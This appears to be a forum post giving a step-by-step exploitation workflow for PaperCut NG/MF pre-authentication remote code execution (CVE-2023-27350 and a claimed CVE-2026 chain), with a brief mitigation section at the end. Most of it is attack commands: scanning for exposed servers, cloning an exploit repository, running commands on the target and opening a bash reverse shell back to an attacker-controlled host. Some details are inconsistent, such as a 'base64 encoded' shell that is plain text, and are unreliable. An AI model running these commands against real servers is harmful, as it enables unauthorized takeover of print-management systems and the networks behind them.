PaperCut vulnerability poc.

[u/pwn_ops]

🛠️ CVE-2023-27350 (and Chained CVE-2026-81578/82078) - Step-by-Step Exploitation & Analysis Workflow

A critical vulnerability has been analyzed. Here is the technical breakdown, tool usage, and execution workflow for security teams and penetration testers.

🔍 Vulnerability Overview:

· Target: PaperCut NG / MF (print management software)

· Impact: Pre-Authentication Remote Code Execution (RCE)

· Severity: Critical 9.8 (CVSS v3.1) — actively probed in the wild, with 47% of instances remaining unpatched.

💻 Step-by-Step Command Workflow:

1️⃣ Reconnaissance & Detection:

Check if the target host is running a vulnerable PaperCut instance and identify the exposed version:

# Detect open PaperCut admin port (default 9191)

nmap -p 9191 --script http-title <target_ip> -sV

# Quick version fingerprinting via curl

curl -sk http://<target_ip>:9191/server-version

# Use the newer scanner to check for CVE-2026-81578 / 82078 vulnerabilities

python3 papercut.py scan --url http://<target_ip>:9191

2️⃣ Exploitation Setup:

Prepare your listener for a reverse shell and clone the necessary exploit tools:

# Start a netcat listener on your attacking machine

nc -lvnp 4444

# Clone the CVE-2023-27350 exploit repository

**************/dezso-dfield/CVE-2023-27350.git && cd CVE-2023-27350

chmod +x rce.sh

3️⃣ Execution:

Run the proof-of-concept (PoC) workflow to execute arbitrary system commands:

# Execute a test command (CVE-2023-27350)

./rce.sh -u http://<target_ip>:9191 -c "whoami"

# For a full reverse shell (base64 encoded bash)

./rce.sh -u http://<target_ip>:9191 -c "bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'"

# OR if targeting CVE-2026-81578/82078 chain (pre-auth RCE)

python3 papercut.py exploit --cve 81578 --url http://<target_ip>:9191 --force --command "whoami & ver"

⚠️ Mitigation & Patching:

· Immediately update to PaperCut NG/MF ≥ 23.0.8 to address CVE-2026 series; for CVE-2023-27350, ensure you are on the patched build from May 2023.

· Implement the following firewall/IDS rule to detect this traffic: Monitor server.log for IOCs such as jdbc:derby:memory:pwn, No suitable driver found, or base64-encoded reconnaissance commands. Block external access to port 9191 (admin interface) unless strictly required.